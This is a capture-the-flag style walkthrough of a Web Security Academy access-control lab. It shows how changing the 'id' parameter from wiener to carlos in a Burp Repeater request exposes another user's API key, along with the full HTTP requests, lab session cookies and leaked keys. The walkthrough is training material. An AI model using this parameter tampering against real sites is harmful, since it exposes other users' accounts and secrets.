

Lab: User ID controlled by request parameter with data leakage in redirect

This lab contains an [access control](#) vulnerability where sensitive information is leaked in the body of a redirect response.

To solve the lab, obtain the API key for the user `carlos` and submit it as the solution.

You can log in to your own account using the following credentials: `wiener:peter`

```
1 GET /my-account?id=wiener HTTP/2
2 Host: 0ald001e049195db87550c7100970018.web-security-academy.net
3 Cookie: session=Sh7SVtnl3WeAidXoNe2rBHxtPK2Gatf5
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
6 Sec-Ch-Ua-Mobile: ?0
7 Sec-Ch-Ua-Platform: "Windows"
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: ?1
14 Sec-Fetch-Dest: document
15 Referer: https://0ald001e049195db87550c7100970018.web-security-academy.net/login
16 Accept-Encoding: gzip, deflate, br
17 Accept-Language: en-US,en;q=0.9,en-IN;q=0.8
18
19
```

Send this to Burp Repeater and change the username and observe the response.

Request

```
1 GET /my-account?id=carlos HTTP/2
2 Host: 0ald001e049195db87550c7100970018.web-security-academy.net
3 Cookie: session=Sh7SVtnl3WeAidXoNe2rBHxtPK2Gatf5
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
6 Sec-Ch-Ua-Mobile: ?0
7 Sec-Ch-Ua-Platform: "Windows"
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: ?1
14 Sec-Fetch-Dest: document
15 Referer: https://0ald001e049195db87550c7100970018.web-security-academy.net/login
16 Accept-Encoding: gzip, deflate, br
17 Accept-Language: en-US,en;q=0.9,en-IN;q=0.8
18
19
```

Response

Web Security Academy

User ID controlled by request parameter with data leakage in redirect

LAB Not solved

[Home](#) | [My account](#) | [Log out](#)

[Submit solution](#)

[Back to lab description >>](#)

Your username is: carlos

Your API Key is: WG16w749fQDXuxCRmnHx24VktFIY9I0J

Email

[Update email](#)



User ID controlled by request parameter with data leakage in redirect

[Back to lab description >>](#)

LAB Solved 

Congratulations, you solved the lab!

Share your skills!



[Continue learning >>](#)

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener

Your API Key is: 5YokQ3uUC7rjuGanaKPsdKfQVkurs4Mf

Email

[Update email](#)